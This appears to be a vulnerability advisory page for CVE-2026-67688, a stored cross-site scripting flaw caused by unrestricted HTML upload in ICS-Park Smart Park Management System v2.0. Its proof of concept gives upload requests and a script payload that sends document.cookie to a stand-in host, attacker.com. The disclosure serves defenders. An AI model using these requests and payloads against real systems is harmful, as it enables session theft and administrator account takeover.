Lucene search
+L

📄 ICS-Park Smart Park Management System 2.0 Cross Site Scripting

🗓️ 05 Aug 2026 00:00:00Reported by zyhType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 7 Views

CVE-2026-67688: Unrestricted HTML upload causes stored cross-site scripting in ICS-Park Smart Park Management System v2.0.

Code
CVE-2026-67688: ICS-Park Smart Park Management System v2.0 - Unrestricted HTML File Upload Leading to Stored XSS
    CVE ID
    CVE-2026-67688
    
    Description
    ICS-Park Smart Park Management System v2.0 contains an unrestricted file upload vulnerability in the file upload module. The allowed extension whitelist (`DEFAULT_ALLOWED_EXTENSION`) includes "html" and "htm" extensions, and the upload directory is mapped as a static resource path. This allows any authenticated user to upload arbitrary HTML files containing malicious JavaScript, leading to stored Cross-Site Scripting (XSS) when other users access the uploaded files.
    
    Proof of Concept (PoC)
    ## Proof of Concept (PoC)
    
    ### 1. Upload malicious HTML file
    
    ```http
    POST /dfs/upload HTTP/1.1
    Host: target-server
    token: {any_valid_token}
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
    
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="file"; filename="xss.html"
    Content-Type: text/html
    
    <script>alert(document.cookie)</script>
    ------WebKitFormBoundary--
    ```
    
    Response:
    
    ```json
    {
      "msg": "success",
      "fileName": "/profile/2026/06/10/87b7c4a39da5b24b832f7658837de2fe.html",
      "code": 0,
      "url": "http://localhost:9227/profile/2026/06/10/87b7c4a39da5b24b832f7658837de2fe.html"
    }
    ```
    
    ### 2. Verify file is accessible
    
    ```http
    GET /profile/2026/06/10/87b7c4a39da5b24b832f7658837de2fe.html HTTP/1.1
    Host: target-server
    ```
    
    Response body: `<script>alert(document.cookie)</script>`
    
    ### 3. Low-privilege user can also upload
    
    ```http
    POST /dfs/upload HTTP/1.1
    Host: target-server
    token: {any_valid_token}
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
    
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="file"; filename="steal_cookie.html"
    Content-Type: text/html
    
    <script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
    ------WebKitFormBoundary--
    ```
    
    Response: `{"msg":"success","code":0}`
    Impact
    - **Stored Cross-Site Scripting (XSS)**: Arbitrary JavaScript execution in the context of the ICS-Park application domain
    - **Session Hijacking**: Attacker can steal administrator session cookies/tokens by crafting a payload that exfiltrates `document.cookie` or `localStorage` data
    - **Phishing**: Malicious HTML pages can mimic login forms to capture credentials
    - **Worm Propagation**: an XSS payload can programmatically create admin roles, modify system settings, and propagate within the organization
    - **Privileged Access via XSS**: Since administrators are the primary users of the backend system, XSS payloads executed in their session context inherit full administrative privileges
    Credit
    Discoverer: zyh

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Aug 2026 00:00Current
5Medium risk
Vulners AI Score5
7